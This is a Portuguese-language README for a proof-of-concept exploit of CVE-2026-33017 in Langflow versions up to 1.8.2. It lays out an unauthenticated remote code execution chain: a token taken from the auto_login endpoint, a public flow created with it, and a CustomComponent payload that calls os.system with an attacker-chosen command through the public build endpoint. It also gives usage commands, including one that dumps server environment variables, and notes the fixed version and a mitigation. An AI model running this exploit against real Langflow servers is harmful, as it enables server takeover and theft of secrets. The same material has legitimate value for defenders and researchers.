
Proof-of-concept para CVE-2026-33017, demonstrando execução remota de código não autenticada em versões vulneráveis do Langflow através de injeção maliciosa de código CustomComponent.
ID CVE: CVE-2026-33017
Software Afetado: Langflow
Versões Vulneráveis: <= 1.8.2
Versão Corrigida: >= 1.9.0
Severidade: Crítica
Autor: arensballiu
Data: 2026
O Langflow expõe um endpoint público de construção de fluxo (/api/v1/build_public_tmp/{flowID}/flow) que aceita
blocos de código CustomComponent arbitrários e os executa no lado do servidor sem autenticação. Ao
injetar um payload Python malicioso no campo code de um nó CustomComponent, um atacante não autenticado
pode executar comandos arbitrários do sistema operacional com os privilégios do processo do servidor Langflow.
A cadeia de ataque primeiro abusa do endpoint /api/v1/auto_login, que emite um token bearer sem
exigir credenciais quando o Langflow está sendo executado em sua configuração padrão de auto-login. Em seguida, usa
esse token para criar um fluxo público temporário e disparar a execução de código no lado do servidor através do endpoint
de construção.
Um arquivo docker está incluído, o qual cria uma instância docker com o langflow instalado e em execução.
| Endpoint | Método | Autenticação Necessária | Propósito |
|---|---|---|---|
/api/v1/auto_login | GET | Não | Obter token bearer (auto-login deve estar habilitado) |
/api/v1/flows/ | POST | Sim (Bearer) | Criar um novo fluxo |
/api/v1/build_public_tmp/{flowID}/flow | POST | Não (público) | Disparar construção — ponto de execução vulnerável |
/api/v1/flows/{flowID} | DELETE | Sim (Bearer) | Limpar o fluxo criado |
Arquivo: CVE-2026-33017_POC.py
requestspip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| Flag | Forma Longa | Obrigatório | Descrição |
|---|---|---|---|
-u | --url | Sim | URL base da instância do Langflow |
-c | --command | Sim | Comando do SO a executar no servidor |
-d | --delete | Não | Excluir o fluxo criado após a exploração |
Verificar execução de código:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
Recuperar variáveis de ambiente do servidor:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
Manter o fluxo ativo após a exploração (pular limpeza):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
O exploit injeta o seguinte trecho Python no campo code de um nó CustomComponent:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - importa dinamicamente o módulo os e executa o comando de shell fornecido pelo atacante no servidor.CustomComponent válido, necessário para satisfazer o carregador de componentes do Langflow sem gerar um erro de análise.PUBLIC e o endpoint de construção é invocado em seu endpoint público, o que significa que nenhum cookie de sessão ou token de autenticação é necessário para disparar a execução.O sistema CustomComponent do Langflow permite que código Python arbitrário seja submetido como parte de uma definição
de fluxo. O endpoint /api/v1/build_public_tmp/{flowID}/flow constrói e avalia parcialmente esse
código no lado do servidor, incluindo instruções em nível de módulo, sem sandbox ou restrição de acesso a
built-ins do Python, como __import__.
1. GET /api/v1/auto_login → Obter token Bearer (nenhuma credencial necessária)
2. POST /api/v1/flows/ → Criar um fluxo PUBLIC (token Bearer)
3. POST /api/v1/build_public_tmp/ → Injetar e executar CustomComponent malicioso (sem autenticação)
4. DELETE /api/v1/flows/{id} → Limpar (opcional)
Todas as quatro etapas podem ser executadas por um atacante anônimo contra uma implantação padrão do Langflow.
LANGFLOW_AUTO_LOGIN=false) em qualquer implantação exposta à internet.Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada. O uso deste script contra sistemas sem permissão escrita explícita é ilegal e antiético. O autor e os contribuidores não assumem qualquer responsabilidade pelo uso indevido.